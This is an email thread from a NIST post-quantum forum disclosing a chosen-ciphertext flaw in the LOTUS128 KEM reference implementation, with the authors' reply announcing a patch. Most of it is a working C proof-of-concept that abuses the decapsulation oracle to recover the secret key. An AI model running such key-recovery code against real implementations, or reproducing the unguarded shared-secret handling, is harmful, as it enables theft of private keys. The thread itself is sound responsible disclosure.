From: Tancrede Lepoint <tancrede.lepoint@sri.com>
Sent: Friday, December 29, 2017 7:25 PM
To: pqc-comments
Cc: pqc-forum@list.nist.gov
Subject: [pqc-forum] OFFICIAL COMMENT: LOTUS
Attachments: attack.c; Untitled attachment 00036.htm

Dear authors, dear all,

The current reference implementation of KEM LOTUS128 fails to achieve CCA security.

Indeed, similarly to Odd Manhattan, even though the verification of the ciphertext is performed, when it fails, the shared secret is not modified. As such, it is also possible to run a new CCA attack where one discards the return flag and exploits what is in ss to recover the matrix S row by row.

Find attached an attack script to be put in the Reference_Implementation/kem/lotus128/ directory and to run as follows:
$ gcc -O3 -lcrypto lwe-arithmetics.c crypto.c rng.c pack.c sampler.c kem.c cpa-pke.c attack.c -o attack
$ ./attack
(Note that you also need to add the files rng.c and rng.h from NIST.)

This attack can be avoided if proper action is taken in case of failure.

Kind regards,
Tancrède Lepoint.

PS: I did not try, but this attack may apply directly to kem/lotus192 and kem/lotus256

```
// Run the attack as follows:
// $ gcc -O3 -lcrypto lwe-arithmetics.c crypto.c rng.c pack.c sampler.c kem.c
attack.c cpa-pke.c -o attack
// $ ./attack
//

#include <stdio.h>
#include <string.h>

#include "api.h"
#include "assert.h"
#include "crypto.h"
#include "lwe-arithmetics.h"
#include "pack.h"
#include "param.h"
#include "rng.h"
#include "type.h"

/// Global variables
unsigned char pk[CRYPTO_PUBLICKEYBYTES], sk[CRYPTO_SECRETKEYBYTES];
unsigned char target0[_LOTUS_HASH_DIGEST_BYTES];

/// CCA Oracle
int oracle(unsigned char* ct) {
  unsigned char ss[_LOTUS_HASH_DIGEST_BYTES];
  int ret = crypto_kem_dec(ss, ct, sk);
  assert(ret == -1);  // CCA fails, we ignore :)
  // return 0 if ss == target0
  return memcmp(ss, target0, CRYPTO_BYTES);
}

int main() {
  U16 c2[_LOTUS_LWE_PT];
  U16 guess_s[_LOTUS_LWE_PT * _LOTUS_LWE_DIM];
  U16 attackct[(_LOTUS_LWE_DIM + _LOTUS_LWE_PT)];
  unsigned char sigma0[_LOTUS_LWE_PT_BYTES + 1];
  unsigned char entropy_input[48];
  unsigned char ciphertext[CRYPTO_CIPHERTEXTBYTES];

  /// target digest: hash(00000)
  memset(sigma0, 0, _LOTUS_LWE_PT_BYTES);
  sigma0[_LOTUS_LWE_PT_BYTES] = _LOTUS_HASH_FLAG_G;
  crypto_hash(target0, sigma0, _LOTUS_LWE_PT_BYTES + 1);

  /// Initialize randomness
  for (int i = 0; i < 48; i++) entropy_input[i] = i;
  randombytes_init(entropy_input, NULL, 256);

  /// Generate keypair
  crypto_kem_keypair(pk, sk);

  // Initialization
  memset(ciphertext, 0, CRYPTO_CIPHERTEXTBYTES);
  for (int j = 0; j < _LOTUS_LWE_DIM; j++) attackct[j] = 0;
  for (int j = 0; j < _LOTUS_LWE_PT * _LOTUS_LWE_DIM; j++) guess_s[j] = 0;

  /// Recover secret matrix S row by row
  for (int i = 0; i < _LOTUS_LWE_DIM; i++) {
    printf("Row %d/%d.\n", i + 1, _LOTUS_LWE_DIM);
    // reset
    for (int j = 0; j < _LOTUS_LWE_PT; j++) c2[j] = 0;
    for (int j = 0; j < _LOTUS_LWE_DIM; j++) attackct[j] = 0;
```

```
// Set ciphertext c1=(0,...0, 2^k, 0...,0)
for (int k = 0; k < _LOTUS_LWE_LOG2_MOD - 1; k++) {
  attackct[i] = 1 << k;

  // We add q/8 to c2 part of the ciphertext and call the oracle
  for (int j = 0; j < _LOTUS_LWE_PT; j++) {
    c2[j] = 2 * c2[j];
    attackct[_LOTUS_LWE_DIM + j] = c2[j] + _LOTUS_LWE_MOD / 8;
  }
  redc(attackct, _LOTUS_LWE_DIM + _LOTUS_LWE_PT);
  pack_ct(ciphertext, attackct);
  int bit1 = oracle(ciphertext);

  // We add -q/8 to c2 part of the ciphertext and call the oracle
  for (int j = 0; j < _LOTUS_LWE_PT; j++) {
    c2[j] = 2 * c2[j];
    attackct[_LOTUS_LWE_DIM + j] =
        c2[j] + _LOTUS_LWE_MOD - _LOTUS_LWE_MOD / 8;
  }
  redc(attackct, _LOTUS_LWE_DIM + _LOTUS_LWE_PT);
  pack_ct(ciphertext, attackct);
  int bit2 = oracle(ciphertext);

  if (bit1 == 0 && bit2 == 0) {
    // We extracted sigma to 0 in both cases, and we could predict the
    // digest. Hence the MSBs of S did not kick in. We can go to the next
    // power.
    continue;
  }

  // Otherwise, we caughts MSBs, let's go coefficient by coefficient
  for (int j = 0; j < _LOTUS_LWE_PT; j++) {
    // Set the c2 part of the ciphertext correctly (cancelling previous
    // MSBs)
    for (int w = j + 1; w < _LOTUS_LWE_PT; w++)
      attackct[_LOTUS_LWE_DIM + w] = c2[w];

    // Add q/8 to coefficient j of c2, and call the oracle
    attackct[_LOTUS_LWE_DIM + j] = c2[j] + _LOTUS_LWE_MOD / 8;
    redc(attackct, _LOTUS_LWE_DIM + _LOTUS_LWE_PT);
    pack_ct(ciphertext, attackct);
    bit1 = oracle(ciphertext);

    // Add -q/8 to coefficient j of c2, and call the oracle
    attackct[_LOTUS_LWE_DIM + j] =
        c2[j] + _LOTUS_LWE_MOD - _LOTUS_LWE_MOD / 8;
    redc(attackct, _LOTUS_LWE_DIM + _LOTUS_LWE_PT);
    pack_ct(ciphertext, attackct);
    bit2 = oracle(ciphertext);

    if (bit1 != 0 && bit2 == 0) {
      // the bit of s was 1
      guess_s[i * _LOTUS_LWE_PT + j] =
          guess_s[i * _LOTUS_LWE_PT + j] * 2 + 1;
      c2[j] += _LOTUS_LWE_MOD - _LOTUS_LWE_MOD / 8;
    } else if (bit1 == 0 && bit2 != 0) {
      // the bit of s was -1
      guess_s[i * _LOTUS_LWE_PT + j] =
          guess_s[i * _LOTUS_LWE_PT + j] * 2 - 1;
      c2[j] += _LOTUS_LWE_MOD / 8;
    } else if (bit1 == 0 && bit2 == 0) {
      // the bit of s was 0
      guess_s[i * _LOTUS_LWE_PT + j] = guess_s[i * _LOTUS_LWE_PT + j] * 2;
```

```
          c2[j] += 0;
        } else {
          assert(1 == 0);
        }

        for (int w = 0; w < _LOTUS_LWE_PT; w++)
          attackct[_LOTUS_LWE_DIM + w] = c2[w];
        redc(attackct, _LOTUS_LWE_DIM + _LOTUS_LWE_PT);
      }
    }
  }

  /// Normalize
  for (int j = 0; j < _LOTUS_LWE_DIM * _LOTUS_LWE_PT; j++)
    guess_s[j] = (guess_s[j] + _LOTUS_LWE_MOD) % _LOTUS_LWE_MOD;
  unsigned char guess_sk[CRYPTO_SECRETKEYBYTES];
  pack_sk(guess_sk, guess_s);

  /// Success?
  if (memcmp(guess_sk, sk, _LOTUS_LWE_PT) == 0) {
    printf("Success! The attack recovered sk completely.\n");
  } else {
    printf("Failure.\n");

    U16 skt[_LOTUS_LWE_DIM * _LOTUS_LWE_PT];
    unpack_sk(skt, sk);

    printf("  S[0] = ");
    for (int j = 0; j < _LOTUS_LWE_PT; j++) printf("%d ", guess_s[j]);
    printf("\n");

    printf("skt[0] = ");
    for (int j = 0; j < _LOTUS_LWE_PT; j++) printf("%d ", skt[j]);
    printf("\n");
  }
}
```

From: Le Trieu Phong <letrieu.letrieuphong@gmail.com>
Sent: Saturday, December 30, 2017 7:57 PM
To: Tancrede Lepoint
Cc: pqc-comments; pqc-forum@list.nist.gov
Subject: Re: [pqc-forum] OFFICIAL COMMENT: LOTUS
Attachments: lotus_kem.patch [Available on LOTUS website]

Dear Tancrède and all in pqc-forum,

Thank you for the careful review and the nice attack code.

>This attack can be avoided if proper action is taken in case of failure.

Agreed. In implementation, the shared secret should be set only after the verification passes.
The patch for the code is attached to this email. With the patch, the attack is now unsuccessful.

By the way, we wish you all a happy new year!

Kind regards,
Phong

On Sat, Dec 30, 2017 at 9:24 AM, Tancrede Lepoint <tancrede.lepoint@sri.com> wrote:

> Dear authors, dear all,
>
> The current reference implementation of KEM LOTUS128 fails to achieve CCA security.
>
> Indeed, similarly to Odd Manhattan, even though the verification of the ciphertext is performed, when it fails, the shared secret is not modified. As such, it is also possible to run a new CCA attack where one discards the return flag and exploits what is in ss to recover the matrix S row by row.
>
> Find attached an attack script to be put in the Reference_Implementation/kem/lotus128/ directory and to run as follows:
> $ gcc -O3 -lcrypto lwe-arithmetics.c crypto.c rng.c pack.c sampler.c kem.c cpa-pke.c attack.c -o attack
> $ ./attack
> (Note that you also need to add the files rng.c and rng.h from NIST.)
>
> This attack can be avoided if proper action is taken in case of failure.
>
> Kind regards,
> Tancrède Lepoint.
>
> PS: I did not try, but this attack may apply directly to kem/lotus192 and kem/lotus256